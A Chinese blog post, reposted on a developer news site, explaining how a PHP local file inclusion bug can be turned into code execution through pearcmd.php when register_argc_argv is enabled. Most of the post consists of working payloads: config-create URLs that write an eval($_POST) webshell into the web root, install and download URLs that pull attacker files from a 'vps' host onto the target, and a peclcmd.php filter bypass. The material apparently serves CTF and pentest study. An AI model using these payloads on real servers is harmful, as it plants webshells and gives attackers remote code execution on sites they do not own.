返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >pearcmd.php文件包含妙用
  • 914
分享到

pearcmd.php文件包含妙用

php开发语言web安全安全 2023-10-27 19:10:24 914人浏览 独家记忆
摘要

文章目录 pearcmd.php文件包含妙用利用条件原理利用config-createinstalldownload pearcmd关键词被ban参考 pearcmd.P

文章目录

pearcmd.PHP文件包含妙用

利用条件

  • php.ini中reGISter_arGC_argv=On开启
  • 安装pecl/pear

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

原理

pear这个工具其实是一个命令,默认安装路径:/usr/local/lib/php/pearcmd.php,在命令行可以使用pear

php /usr/local/lib/php/pearcmd.php 运行,如果存在文件包含漏洞,就可以运行这个命令行工具

我们看看register_argc_argv选项,如果这个选项设置为:On,那么URL的?后面的内容全部会传入$_SERVER['argv']这个变量中,无论后面内容是否有等号

pear会在pearcmd.php获取命令行参数

pearcmd.php

PEAR_Command::setFrontendType('CLI');$all_commands = PEAR_Command::getCommands();$argv = Console_Getopt::readPHPArgv();// fix CGI sapi oddity - the -- in pear.bat/pear is not removedif (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {    unset($argv[1]);    $argv = array_values($argv);}

其中会用到 Console_Getopt::readPHPArgv()函数:

public static function readPHPArgv()    {        global $argv;        if (!is_array($argv)) {            if (!@is_array($_SERVER['argv'])) {                if (!@is_array($GLOBALS['Http_SERVER_VARS']['argv'])) {                    $msg = "Could not read cmd args (register_argc_argv=Off?)";                    return PEAR::raiseError("Console_Getopt: " . $msg);                }                return $GLOBALS['HTTP_SERVER_VARS']['argv'];            }            return $_SERVER['argv'];        }        return $argv;    }

首先尝试$argv变量(这个变量存储命令行模式运行php脚本传入的参数),然后尝试$_SERVER['argv']变量(这个变量传入URL的?后的值。可控

这样,在文件包含下,我们就可以运行pear工具,并且使用GET请求的参数来控制pear的命令行参数了

利用

首先寻找pear中可以用的命令了:

Commands:build                  Build an Extension From C Sourcebundle                 Unpacks a Pecl Packagechannel-add            Add a Channelchannel-alias          Specify an alias to a channel namechannel-delete         Remove a Channel From the Listchannel-discover       Initialize a Channel from its serverchannel-info           Retrieve InfORMation on a Channelchannel-login          Connects and authenticates to remote channel serverchannel-loGout         Logs out from the remote channel serverchannel-update         Update an Existing Channelclear-cache            Clear WEB Services Cacheconfig-create          Create a Default configuration fileconfig-get             Show One Settingconfig-help            Show Information About Settingconfig-set             Change Settingconfig-show            Show All Settingsconvert                Convert a package.xml 1.0 to package.xml 2.0 formatcvsdiff                Run a "cvs diff" for all files in a packagecvstag                 Set CVS Release Tagdownload               Download Packagedownload-all           Downloads each available package from the default channelinfo                   Display information about a packageinstall                Install Packagelist                   List Installed Packages In The Default Channellist-all               List All Packageslist-channels          List Available Channelslist-files             List Files In Installed Packagelist-upgrades          List Available Upgradeslogin                  Connects and authenticates to remote server [Deprecated in favor of channel-login]logout                 Logs out from the remote server [Deprecated in favor of channel-logout]makerpm                Builds an RPM spec file from a PEAR packagepackage                Build Packagepackage-dependencies   Show package dependenciespackage-validate       Validate Package Consistencypickle                 Build PECL Packageremote-info            Information About Remote Packagesremote-list            List Remote Packagesrun-scripts            Run Post-Install Scripts bundled with a packagerun-tests              Run Regression Testssearch                 Search remote package databaseshell-test             Shell Script Testsign                   Sign a package distribution filesvntag                 Set SVN Release Taguninstall              Un-install Packageupdate-channels        Update the Channel Listupgrade                Upgrade Packageupgrade-all            Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]Usage: pear [options] command [command-options] Type "pear help options" to list all options.Type "pear help shortcuts" to list all command shortcuts.Type "pear help version" or "pear version" to list version information.Type "pear help " to get the help for the specified command.

这里使用三种

首先搭建一个环境:

index.php

include($_GET['file']);

并且在虚拟机中安装了perl

config-create

首先来讲第一种方式,这个方式在 p神文章中讲到

此命令的参数和用法如下:

config-create: must have 2 parameters, root path and filename to save as

必须传入两个参数,第一个参数传入绝对路径,第二个参数传入想要保存的文件名

我们先测试一下:

pear config-create <?=@eval($_POST[1]);?> /tmp/leekos.php

结果提示:Root directory must be an absolute path beginning with "/", was: ""

此处我们传入的第一个参数不是一个绝对路径,所以不行

于是我们可以改为:

pear config-create /<?=@eval($_POST[1]);?> /tmp/leekos.php

成功写入:

image-20230724215227210

这样就可以利用该文件getshell了

但是上述并不满足通过文件包含的格式来写入shell,我们需要更改一下:

(由于$_SERVER['argv']变量会将URL的?后面的值都传入pear当作参数,所以此处file需要调换一下位置,并且在适当位置加上/和空格的url编码+) 我的虚拟机pearcmd.php的路径为:/usr/share/php/pearcmd.php

?+config-create+/&file=/usr/share/php/pearcmd.php&/+/var/www/html/shell.php

这里会将:/&file=/usr/share/php/pearcmd.php&/当作一个目录,即第一个参数

将这一串写入/var/www/html/shell.php中,然后包含这个php文件即可

install

假如在服务器上有一个phpinfo.php文件:

phpinfo();

我们可以使用如下命令下载服务器上的文件到靶机:

pear install http://vps/phpinfo.php

image-20230724222546418

下载成功

我们想要配合文件包含漏洞,就需要知道一个参数:--installroot,这个选项可以指定安装目录,这样就可以构造payload远程下载文件了:

?+install+--installroot+&file=/usr/share/php/pearcmd.php&+http://[vps]/index.php

这一条命令会将服务器上的 index.php下载到:

&file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/目录下(后面要拼接上/tmp/pear/download/

image-20230724224711149

这样我们就可以从远程服务器上下载shell到靶机上了,使用文件包含注意将路径url编码

download

用法:

pear down http://vps/phpinfo.php

image-20230724224940015

我们也可以尝试构造一下:

?+download+http://vps/phpinfo.php&file=/usr/share/php/pearcmd.php

这种构造方式有点巧妙,需要我们在服务器建一个目录:phpinfo.php&file=/usr/share/php/,并且将恶意的php命名为:pearcmd.php

其实也可以这么写,去掉上面的phpinfo.php

?+download+http://vps/&file=/usr/share/php/pearcmd.php

创建:&file=/usr/share/php/目录,放入pearcmd.php

然后文件包含pearcmd.php就可以利用了

pearcmd关键词被ban

我们可以使用peclcmd.php代替,在这个php文件当中其实就是引入了pearcmd.php

if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') {    ini_set('include_path', '/www/server/php/52/lib/php');    $raw = false;} else {    // this is a raw, uninstalled pear, either a cvs checkout, or php distro    $raw = true;}define('PEAR_RUNTYPE', 'pecl');require_once 'pearcmd.php';

参考

https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

https://y4tacker.GitHub.io/2022/06/19/year/2022/6/%E5%85%B3%E4%BA%8Epearcmd%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/#download

来源地址:https://blog.csdn.net/qq_61839115/article/details/131906758

--结束END--

本文标题: pearcmd.php文件包含妙用

本文链接: https://www.lsjlt.com/news/501427.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作